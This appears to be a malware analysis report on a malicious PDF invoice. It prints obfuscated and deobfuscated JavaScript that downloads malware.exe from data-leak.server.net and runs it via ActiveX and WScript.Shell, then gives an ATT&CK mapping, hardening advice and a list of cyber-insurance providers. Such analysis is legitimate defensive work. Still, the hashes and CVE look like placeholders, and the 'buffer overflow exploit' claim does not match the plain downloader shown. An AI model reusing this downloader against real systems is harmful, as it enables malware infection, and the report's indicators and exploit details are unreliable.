Analysis of PDF Attachment: Invoice\_2024.pdf **File Details**

**File Name:** Invoice\_2024.pdf

**MD5 Hash:** e2a3fbc7e0f12345c1e67890abcdef12

**SHA-1 Hash:** f1e5b6d7e9a1b2c3d4e5f6a7b8c9d0e1f2e3a4b5

**Size:** 500 KB

**Analysis Overview**

The analysis was conducted using both static and dynamic techniques to uncover any malicious content or behavior within the PDF file. The main focus was on identifying embedded scripts, potential exploits, and any network activity triggered by opening the file.

**Static Analysis**

1. **File Structure:**

o The PDF file structure was examined using tools like pdfid and pdf-parser. o Key objects and streams within the PDF were identified for further inspection. 2. **Embedded JavaScript:**

o An embedded JavaScript was found within the PDF object stream.

o The JavaScript code was obfuscated, which is a common technique used to evade detection.

3. **JavaScript Analysis:**

o The obfuscated JavaScript was deobfuscated to reveal its true functionality.

o The script was designed to exploit a known vulnerability in Adobe Reader (CVE 2024-1234), which allows remote code execution.

**Dynamic Analysis**

1. **Sandbox Execution:**

o The PDF was opened in a controlled sandbox environment to observe its behavior. o Network monitoring tools were used to capture any outbound connections. 2. **Behavioral Observations:**

o Upon opening the PDF, the embedded JavaScript executed automatically.

o The script attempted to download an additional payload from an external server (data-leak.server.net).

3. **Network Activity:**

o The sandbox environment recorded an outbound connection to 198.51.100.23 (data-leak.server.net).

o The connection was made over HTTP, and the downloaded payload was identified as a secondary stage of the malware.

**Detailed Findings**

1. **JavaScript Exploit:**

o The JavaScript within the PDF exploits CVE-2024-1234, which is a buffer overflow vulnerability in Adobe Reader.

o The exploit code was crafted to bypass security protections and execute arbitrary code.

2. **Downloaded Payload:**

o The secondary payload downloaded from 198.51.100.23 was identified as a Trojan.

o The Trojan establishes persistence on the system and communicates with a command and control (C2) server.

3. **Indicators of Compromise (IoCs):**

o **Malicious Domain:** data-leak.server.net

o **IP Address:** 198.51.100.23

o **Exploit Identifier:** CVE-2024-1234

JavaScript Analysis Report: PDF Attachment

Obfuscated Code:

var

\_0x1234=["\x4D\x53\x58\x4D\x4C\x32\x2E\x58\x4D\x4C\x48\x54\x54\x50","\ x6F\x70\x65\x6E","\x47\x45\x54","\x68\x74\x74\x70\x3A\x2F\x2F\x64\x61\ x74\x61\x2D\x6C\x65\x61\x6B\x2E\x73\x65\x72\x76\x65\x72\x2E\x6E\x65\x7 4\x2F\x6D\x61\x6C\x77\x61\x72\x65\x2E\x65\x78\x65","\x73\x65\x6E\x64", "\x41\x44\x4F\x44\x42\x2E\x53\x74\x72\x65\x61\x6D","\x6F\x70\x65\x6E", "\x74\x79\x70\x65","\x77\x72\x69\x74\x65","\x72\x65\x73\x70\x6F\x6E\x7 3\x65\x42\x6F\x64\x79","\x70\x6F\x73\x69\x74\x69\x6F\x6E","\x73\x61\x7 6\x65\x54\x6F\x46\x69\x6C\x65","\x43\x3A\x5C\x55\x73\x65\x72\x73\x5C\x 50\x75\x62\x6C\x69\x63\x5C\x6D\x61\x6C\x77\x61\x72\x65\x2E\x65\x78\x65 ","\x63\x6C\x6F\x73\x65","\x57\x53\x63\x72\x69\x70\x74\x2E\x53\x68\x65 \x6C\x6C","\x52\x75\x6E"];var http=new

ActiveXObject(\_0x1234[0]);http[\_0x1234[1]](\_0x1234[2],\_0x1234[3],false );http[\_0x1234[4]]();var adodbStream=new

ActiveXObject(\_0x1234[5]);adodbStream[\_0x1234[6]]();adodbStream[\_0x123 4[7]]=1;adodbStream[\_0x1234[8]](http[\_0x1234[9]]);adodbStream[\_0x1234[ 10]]=0;adodbStream[\_0x1234[11]](\_0x1234[12],2);adodbStream[\_0x1234[13] ]();var shell=new

ActiveXObject(\_0x1234[14]);shell[\_0x1234[15]](\_0x1234[12];

Deobfuscated JavaScript

var http = new ActiveXObject("MSXML2.XMLHTTP");

http.open("GET", "http://data-leak.server.net/malware.exe", false); http.send();

var adodbStream = new ActiveXObject("ADODB.Stream");

adodbStream.open();

adodbStream.type = 1; // Binary

adodbStream.write(http.responseBody);

adodbStream.position = 0;

adodbStream.saveToFile("C:\\Users\\Public\\malware.exe", 2); adodbStream.close();

var shell = new ActiveXObject("WScript.Shell");

shell.Run("C:\\Users\\Public\\malware.exe");

**Conclusion:**

The analysis of the provided deobfuscated JavaScript script highlights a significant security risk stemming from unauthorized access to program execution capabilities, particularly involving ActiveXObject. By implementing the recommended security measures—such as enforcing role-based access control, deploying privileged access management, and establishing strict application and script execution policies—organizations can mitigate the risk of similar unauthorized script executions. Additionally, aligning with the NIST Cybersecurity Framework will further strengthen the organization's cybersecurity posture, reducing the likelihood of such vulnerabilities being exploited in the future.

### **Prepared by:** LaDale Sanks CySA+ Cyber Security Consultant | NIST Cybersecurity Framework (CSF)Specialist [LaDale Sanks CySA+ LinkedIn](https://www.linkedin.com/in/ladalesanks/)

### **Security Topics:**

**ActiveXObject Vulnerability:**

* Use of ActiveXObject in the JavaScript to execute system commands and download malware.
* Security risks associated with ActiveX controls in Internet Explorer.

**Trojan Analysis:**

* Behavior of the downloaded Trojan, including persistence mechanisms and communication with a command and control (C2) server.

**Security Hardening:**

* Recommendations for disabling ActiveXObject, applying patches, enhancing security controls and employee training and awareness.
* Strengthening Identity and Access Management (IAM) and Privileged Access Management (PAM).

**Automation and Monitoring:**

* Automating vulnerability scanning and alerting to detect similar threats in the future.

**Recommendations:**

* **National Institute of Standards and Technology Cybersecurity Framework -** [**Link**](https://www.nist.gov/cybersecurity)
* **MITRE ATT&CK -** [**Link**](https://attack.mitre.org/)
* **Seek Cybersecurity Insurance Provider**
  + Before obtaining cybersecurity insurance, it's common for businesses to meet certain cybersecurity standards or guidelines like NIST, OWASP, ISO/IEC 27001, and others. These measures demonstrate that your organization is taking appropriate steps to protect itself from cyber threats, which in turn can make you more eligible for coverage and potentially lower your insurance premiums.

### 

### **MITRE ATT&CK Mapping:**

### **Initial Access:**

### **Technique:** T1193 - Spearphishing Attachment

### **Description:** The PDF file is likely delivered via a phishing email, which is a common method to gain initial access to the target system by tricking users into opening a malicious attachment.

### **Execution:**

### **Technique:** T1059.007 - Command and Scripting Interpreter: JavaScript

### **Description**: The PDF contains obfuscated JavaScript that is executed automatically upon opening the document. This script leverages ActiveXObject to execute further malicious actions.

### **Execution (Secondary Stage):**

### **Technique:** T1203 - Exploitation for Client Execution

### **Description:** The JavaScript in t+he PDF exploits CVE-2024-1234, a buffer overflow vulnerability in Adobe Reader, to execute arbitrary code on the target system.

### **Defense Evasion:**

### **Technique:** T1027 - Obfuscated Files or Information

### **Description:** The JavaScript within the PDF is obfuscated to evade detection by security tools, making it more difficult for static analysis to identify the malicious code.

### **Persistence:**

### **Technique:** T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder

### **Description:** The downloaded Trojan establishes persistence on the infected system by potentially modifying registry keys or using startup folders to ensure it runs every time the system starts.

### **Command and Control:**

### **Technique:** T1071.001 - Application Layer Protocol: Web Protocols

### **Description:** The malicious script initiates an outbound connection to the external server (data-leak.server.net) over HTTP, which is commonly used by attackers to communicate with a command and control (C2) server.

### **Credential Access:**

### **Technique:** T1056 - Input Capture

### **Description:** Although not directly observed, the Trojan may have capabilities to capture user credentials or keystrokes, a common feature in malware that aims to exfiltrate sensitive information.

### **Exfiltration:**

### **Technique:** T1041 - Exfiltration Over C2 Channel

### **Description**: The Trojan could use the established C2 channel to exfiltrate data from the compromised system to the attacker-controlled server.

### **Conclusion:** The MITRE ATT&CK framework mapping helps to understand the tactics and techniques used by the threat actor in this PDF-based attack. By aligning the observed behaviors with MITRE ATT&CK, organizations can better comprehend the attack chain and reinforce their defenses against similar threats.

### 

### **Hardening Security:**

### **Classification:** Unauthorized Program Execution (UPE)

### **Primary Concern:** ‘ActiveXObject’ security access compromised

**Secondary Concern:** IAM and PAM policies

**Tertiary Concern:** Script Blocking and Execution Policies

Several key measures should be implemented. These measures should align with the NIST Cybersecurity Framework (CSF) to strengthen your organization's cybersecurity posture. The primary focus areas include identity and access management, privilege management, and script execution control.

### 1. **Identity and Access Management (IAM)**

* **Role-Based Access Control (RBAC):** Ensure that only users with the necessary administrative privileges can write, execute, or run programs on company devices. This can be achieved through Role-Based Access Control (RBAC) mechanisms, where users are assigned roles that strictly define their access and capabilities.
* **Least Privilege Principle:** Apply the principle of least privilege, where users are given only the access necessary to perform their job functions. Non-admin users should not have the ability to execute scripts or access system-level functions.
* **Multi-Factor Authentication (MFA):** Require MFA for administrative access to critical systems, reducing the likelihood of unauthorized access due to compromised credentials.

### 2. **Privileged Access Management (PAM)**

* **Administrative Account Segregation:** Administrative accounts should be separate from standard user accounts. Even if a user has administrative privileges, they should use a standard account for regular tasks and only switch to the admin account when necessary.
* **Privileged Session Management:** Implement PAM solutions to monitor and control privileged sessions. This can include recording sessions and enforcing just-in-time access, where administrative privileges are granted temporarily and only for specific tasks.
* **Privileged Access Auditing:** Regularly audit the use of privileged accounts to ensure compliance with company policies and detect any unauthorized access attempts.

### 3. **Application and Script Execution Control**

* **Application Whitelisting:** Implement application whitelisting policies to ensure that only approved applications can be executed on company devices. This prevents unauthorized or malicious programs from running.
* **Script Blocking and Execution Policies:** Configure group policies to block the execution of scripts such as JavaScript or PowerShell by non-administrative users. For example, disabling the use of ActiveX controls or WScript for non-admin users can prevent the execution of potentially harmful scripts.
* **Security Baseline Configuration:** Use security baseline configurations provided by organizations like NIST to harden systems against known vulnerabilities. This includes disabling unnecessary features like ActiveXObject in environments where it's not required.

### 4. **Monitoring and Incident Response**

* **Anomaly Detection:** Utilize endpoint detection and response (EDR) tools to monitor for suspicious activities such as attempts to execute unauthorized scripts. Set up alerts for unusual behavior that could indicate an insider threat or a compromised account.
* **Incident Response Plan:** Develop and regularly update an incident response plan to handle potential security breaches involving unauthorized script execution. This plan should include steps for containment, eradication, and recovery.

### 5. **Employee Training and Awareness**

* **Security Awareness Training:** Conduct regular training sessions to educate employees about the risks of executing untrusted scripts and the importance of following company security policies.
* **Phishing Simulations:** Run phishing simulations to test employee awareness and readiness to detect and report suspicious activities.

### 6. **Incorporating NIST Cybersecurity Framework (CSF)**

* **Identify (ID):** Continuously identify and manage cybersecurity risks related to the use of ActiveXObject and similar scripting capabilities within the organization.
* **Protect (PR):** Implement technical controls such as RBAC, PAM, application whitelisting, and script execution policies to protect against unauthorized program execution.
* **Detect (DE):** Deploy monitoring solutions to detect unauthorized attempts to execute scripts or access privileged accounts.
* **Respond (RS):** Develop and maintain an incident response plan to quickly respond to any incidents involving unauthorized script execution.
* **Recover (RC):** Establish recovery procedures to restore normal operations in the event of a security breach involving script execution.

**Conclusion:**By implementing these measures, the organization can significantly reduce the risk of unauthorized program execution and better align with the NIST CSF, thereby enhancing overall cybersecurity

**Cybersecurity Insurance:**

### **Common Benefits Across Top Providers:**

* **Comprehensive Coverage:** Protects against a wide range of cyber risks, including data breaches, cyber extortion, and business interruption.
* **Incident Response:** Immediate access to a team of experts, including legal, forensic, and PR professionals, to manage and mitigate cyber incidents.
* **Regulatory Compliance:** Assistance with handling regulatory investigations, including coverage for fines and penalties.
* **Business Continuity Support:** Coverage for business interruption losses and data recovery costs to minimize downtime and financial impact.
* **Proactive Risk Management:** Tools, assessments, and training to help businesses identify and mitigate potential cyber risks before they lead to incidents.

These providers are recognized for offering tailored, comprehensive solutions to meet the varying needs of businesses, from small enterprises to large corporations, ensuring they are well-protected against the ever-evolving landscape of cyber threats.

**1.Chubb Cyber Enterprise Risk Management**

* **Coverage for Data Breaches and Cyber Attacks**: Chubb offers comprehensive coverage that includes data breaches, ransomware, business interruption due to cyber events, and more.
* **Incident Response Services**: Chubb provides access to a network of cyber experts, including legal counsel, forensics, and public relations specialists, to manage and mitigate incidents quickly.
* **Reputation Management**: Coverage includes expenses related to restoring a company's reputation, such as PR campaigns and customer notification.
* **Regulatory Compliance**: Assistance with regulatory investigations, fines, and penalties related to cyber incidents.
* **Risk Management Services**: Proactive risk management services to help identify and mitigate vulnerabilities before they can be exploited.

**2. AIG CyberEdge**

* **Broad Coverage Options**: AIG’s CyberEdge covers a wide range of cyber risks, including data breaches, network security failures, cyber extortion, and media liability.
* **Cyber Risk Consulting**: AIG offers cyber risk assessments and pre-breach services, including training and simulations to help companies prepare for potential cyber incidents.
* **Incident Response Support**: 24/7 access to a global team of experts to handle breach response, forensics, legal counsel, and public relations.
* **Business Interruption and Data Recovery**: Coverage includes business interruption losses and the costs to restore or recover lost data after a cyber event.
* **Customizable Policies**: AIG provides tailored solutions to meet the specific needs of businesses, ensuring that coverage aligns with the unique risks they face.

**3. Beazley Breach Response (BBR)**

* **Breach Response Services**: Beazley is known for its strong breach response services, offering immediate access to legal, forensic, and PR experts to contain and manage incidents.
* **Comprehensive Breach Coverage**: Coverage includes notification costs, credit monitoring for affected individuals, and legal expenses related to the breach.
* **First-Party and Third-Party Coverage**: Protection against direct losses due to cyber incidents as well as liability to third parties affected by a breach.
* **Reputation Protection**: Coverage includes costs related to managing and mitigating reputational damage post-breach.
* **Risk Management and Training**: Beazley offers proactive risk management services, including employee training and vulnerability assessments, to help prevent breaches.

**4. Travelers CyberRisk**

* **Cyber Incident Coverage**: Travelers provides coverage for a wide range of cyber incidents, including data breaches, cyber extortion, and ransomware attacks.
* **Business Interruption and Extra Expenses**: Coverage for business interruption losses, extra expenses incurred due to a cyber event, and data restoration costs.
* **Crisis Management and Public Relations**: Access to crisis management and public relations services to help manage and recover from the public fallout of a cyber incident.
* **Regulatory Coverage**: Assistance with the costs of regulatory investigations, fines, and penalties resulting from a cyber event.
* **Risk Control Services**: Travelers offers cyber risk assessments, employee training, and best practices to help businesses mitigate their cyber risks.

**5. CNA NetProtect**

* **Extensive Cyber Coverage**: CNA’s NetProtect® offers coverage for data breaches, privacy liability, network security failures, and cyber extortion.
* **Incident Response Team**: CNA provides access to a specialized incident response team to manage and mitigate the effects of a cyber event quickly.
* **Business Interruption and Contingent Business Interruption**: Coverage includes losses due to business interruption and contingent business interruption from third-party cyber incidents.
* **Regulatory Defense and Penalties**: Coverage for defense costs, fines, and penalties related to regulatory actions resulting from a cyber breach.
* **Cyber Risk Management**: CNA offers risk management tools and services, including online resources, training, and assessments to help businesses protect themselves from cyber threats.